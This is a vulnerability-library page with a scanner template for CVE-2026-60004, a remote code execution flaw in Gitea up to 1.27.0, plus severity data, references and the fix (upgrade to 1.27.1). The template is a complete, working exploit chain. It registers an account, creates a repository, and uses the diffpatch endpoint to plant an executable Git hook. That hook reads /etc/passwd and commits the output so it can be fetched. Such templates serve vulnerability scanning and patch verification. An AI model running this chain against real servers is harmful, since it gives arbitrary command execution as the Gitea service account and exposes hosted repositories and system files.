/Vulnerability Library

Gitea <= 1.27.0 - Pre-Auth Remote Code Execution

CVE-2026-60004
Verified

Description

Gitea versions 1.17 through 1.27.0 contain a remote code execution vulnerability in the diffpatch endpoint caused by an add/add collision that writes an executable Git hook into the bare repository's GIT_DIR. An attacker with write access can execute arbitrary commands as the Gitea service account, exploit requires only open registration for unauthenticated access.

Severity

Critical

CVSS Score

9.8

Affected Product

gitea

Published Date

August 3, 2026

Template Author

0x_akoko

CVE-2026-60004.yaml
id: CVE-2026-60004

info:
  name: Gitea <= 1.27.0 - Pre-Auth Remote Code Execution
  author: 0x_Akoko
  severity: critical
  description: |
    Gitea versions 1.17 through 1.27.0 contain a remote code execution vulnerability in the diffpatch endpoint caused by an add/add collision that writes an executable Git hook into the bare repository's GIT_DIR. An attacker with write access can execute arbitrary commands as the Gitea service account, exploit requires only open registration for unauthenticated access.
  impact: |
    Attackers can execute arbitrary commands as the Gitea service account, potentially compromising the entire server and all hosted repositories.
  remediation: |
    Update to Gitea version 1.27.1 or later.
  reference:
    - https://github.com/go-gitea/gitea/security/advisories/GHSA-rcr6-4jqh-j84m
    - https://github.com/EQSTLab/CVE-2026-60004
    - https://nvd.nist.gov/vuln/detail/CVE-2026-60004
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-60004
    cwe-id: CWE-94
  metadata:
    max-request: 9
    verified: true
    vendor: go-gitea
    product: gitea
    shodan-query: "Gitea"
    fofa-query: app="Gitea"
  tags: cve,cve2026,gitea,rce,intrusive

variables:
  ruser: "testpoc{{rand_int(10000,99999)}}"
  rpass: "T3stP0c!{{rand_int(10000,99999)}}"
  remail: "testpoc{{rand_int(10000,99999)}}@test.local"
  rrepo: "poc-{{rand_int(10000,99999)}}"

flow: http(1) && http(2) && http(3) && http(4) && http(5) && http(6) && http(7)

http:
  - raw:
      - |
        GET /user/sign_up HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "user_name") || contains(body, "sign_up")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: csrf
        part: body
        group: 1
        regex:
          - 'name="_csrf"\s+content="([^"]+)"'
          - 'name="_csrf"\s+value="([^"]+)"'
        internal: true

  - raw:
      - |
        POST /user/sign_up HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _csrf={{csrf}}&user_name={{ruser}}&email={{remail}}&password={{rpass}}&retype={{rpass}}

    redirects: true
    max-redirects: 3

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200 || status_code == 302 || status_code == 303'
        internal: true

  - raw:
      - |
        POST /api/v1/user/repos HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept: application/json
        Authorization: Basic {{base64(ruser + ":" + rpass)}}

        {"name":"{{rrepo}}","private":true,"auto_init":true,"default_branch":"main"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 201'
        internal: true

  - raw:
      - |
        GET /api/v1/repos/{{ruser}}/{{rrepo}}/branches/main HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json
        Authorization: Basic {{base64(ruser + ":" + rpass)}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'len(branch_sha) > 0'
        condition: and
        internal: true

    extractors:
      - type: json
        name: branch_sha
        json:
          - '.commit.id'
        internal: true

  - raw:
      - |
        POST /api/v1/repos/{{ruser}}/{{rrepo}}/diffpatch HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept: application/json
        Authorization: Basic {{base64(ruser + ":" + rpass)}}

        {"content": "diff --git a/hooks/post-index-change b/hooks/post-index-change\nnew file mode 100755\nindex 0000000000000000000000000000000000000000..c205f89dc5a73d8094236a8ef700126084893a73\n--- /dev/null\n+++ b/hooks/post-index-change\n@@ -0,0 +1,14 @@\n+#!/bin/sh\n+git_dir=$(git rev-parse --absolute-git-dir) || exit 1\n+origin_objects=$(sed -n \"1p\" \"$git_dir/objects/info/alternates\") || exit 2\n+case \"$origin_objects\" in\n+  /*) ;;\n+  *) origin_objects=\"$git_dir/objects/$origin_objects\" ;;\n+esac\n+origin_git=${origin_objects%/objects}\n+[ \"$origin_git\" != \"$origin_objects\" ] || exit 3\n+output_blob=$(cat /etc/passwd 2>&1 | git --git-dir=\"$origin_git\" hash-object -w --stdin) || exit 4\n+tree=$(printf \"100644 blob %s\\\\tproof\\\\n\" \"$output_blob\" | git --git-dir=\"$origin_git\" mktree) || exit 5\n+commit=$(printf \"rce proof\\\\n\" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir=\"$origin_git\" commit-tree \"$tree\") || exit 6\n+git --git-dir=\"$origin_git\" update-ref refs/heads/rce-proof \"$commit\" || exit 7\n+exit 0\n", "message": "apply-1", "branch": "main", "sha": "{{branch_sha}}"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 201'
          - 'len(commit_sha1) > 0'
        condition: and
        internal: true

    extractors:
      - type: json
        name: commit_sha1
        json:
          - '.commit.sha'
        internal: true

  - raw:
      - |
        POST /api/v1/repos/{{ruser}}/{{rrepo}}/diffpatch HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept: application/json
        Authorization: Basic {{base64(ruser + ":" + rpass)}}

        {"content": "diff --git a/hooks/post-index-change b/hooks/post-index-change\nnew file mode 100755\nindex 0000000000000000000000000000000000000000..c205f89dc5a73d8094236a8ef700126084893a73\n--- /dev/null\n+++ b/hooks/post-index-change\n@@ -0,0 +1,14 @@\n+#!/bin/sh\n+git_dir=$(git rev-parse --absolute-git-dir) || exit 1\n+origin_objects=$(sed -n \"1p\" \"$git_dir/objects/info/alternates\") || exit 2\n+case \"$origin_objects\" in\n+  /*) ;;\n+  *) origin_objects=\"$git_dir/objects/$origin_objects\" ;;\n+esac\n+origin_git=${origin_objects%/objects}\n+[ \"$origin_git\" != \"$origin_objects\" ] || exit 3\n+output_blob=$(cat /etc/passwd 2>&1 | git --git-dir=\"$origin_git\" hash-object -w --stdin) || exit 4\n+tree=$(printf \"100644 blob %s\\\\tproof\\\\n\" \"$output_blob\" | git --git-dir=\"$origin_git\" mktree) || exit 5\n+commit=$(printf \"rce proof\\\\n\" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir=\"$origin_git\" commit-tree \"$tree\") || exit 6\n+git --git-dir=\"$origin_git\" update-ref refs/heads/rce-proof \"$commit\" || exit 7\n+exit 0\n", "message": "apply-2", "branch": "main", "sha": "{{commit_sha1}}"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 201'
        internal: true

  - raw:
      - |
        GET /api/v1/repos/{{ruser}}/{{rrepo}}/raw/proof?ref=rce-proof HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64(ruser + ":" + rpass)}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "root:")'
        condition: and

    extractors:
      - type: dsl
        dsl:
          - '"CVE-2026-60004 RCE | Gitea | /etc/passwd: " + body'
# digest: 4b0a00483046022100bc8aed32e9d280fcd4274d3d970ad1e5fcb6c6e418f113c95fe85ec82dbb0ce4022100d830379134123169e80e2a3c387e6940488521d629439519e884389aabd72a54:922c64590222798bb761d5b6d8e72950
9.8Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVE ID:
cve-2026-60004
CWE ID:
cwe-94

References

https://github.com/go-gitea/gitea/security/advisories/GHSA-rcr6-4jqh-j84mhttps://github.com/EQSTLab/CVE-2026-60004https://nvd.nist.gov/vuln/detail/CVE-2026-60004

Remediation Steps

Update to Gitea version 1.27.1 or later.